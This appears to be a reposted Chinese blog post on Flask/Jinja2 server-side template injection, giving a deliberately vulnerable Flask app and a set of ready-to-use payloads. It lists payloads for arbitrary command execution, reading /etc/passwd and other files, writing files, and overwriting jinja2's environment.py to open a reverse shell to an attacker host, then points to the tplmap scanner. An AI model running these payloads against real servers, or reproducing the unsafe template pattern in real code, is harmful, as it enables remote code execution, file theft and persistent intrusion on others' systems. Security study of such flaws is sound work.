SSTI (服务器模板注入)

 先来一波flask ssti漏洞的代码。

#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)
    return t.render()
if __name__ == "__main__":
    app.run();

测试如下:

ip?name=guest.{{1*1}}

ip?name=guest.{{1+1}}

 emmm,url编码一波

ip?name={{'aaa'.upper()}}

由此就有大神找出了任意命令执行的方法了。

在python里要执行系统命令需要import os模块。

想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册

需要在上面的代码里加一句:

t.globals['os'] =os

 如果没有加这一句,直接使用os中的方法会报错。

尝试了一波,没成功。附上大神的payload

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python2 

#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

 也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令:

#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

新手最好还是用tplmap

建议使用以下github链接从github存储库克隆该工具来安装Tplmap

git clone https://github.com/epinna/tplmap

下载完成后切换到tplmap目录下,运行

./tplmap.py -u <url>

执行命令后,会测试目标url查找代码注入机会

接下来,就不多说了 

参考: 

https://www.freebuf.com/articles/web/98928.html

https://www.freebuf.com/articles/web/98619.html

https://www.freebuf.com/articles/web/88768.html

http://www.4hou.com/technology/12675.html

猜你喜欢

转载自blog.csdn.net/qq_40657585/article/details/83657220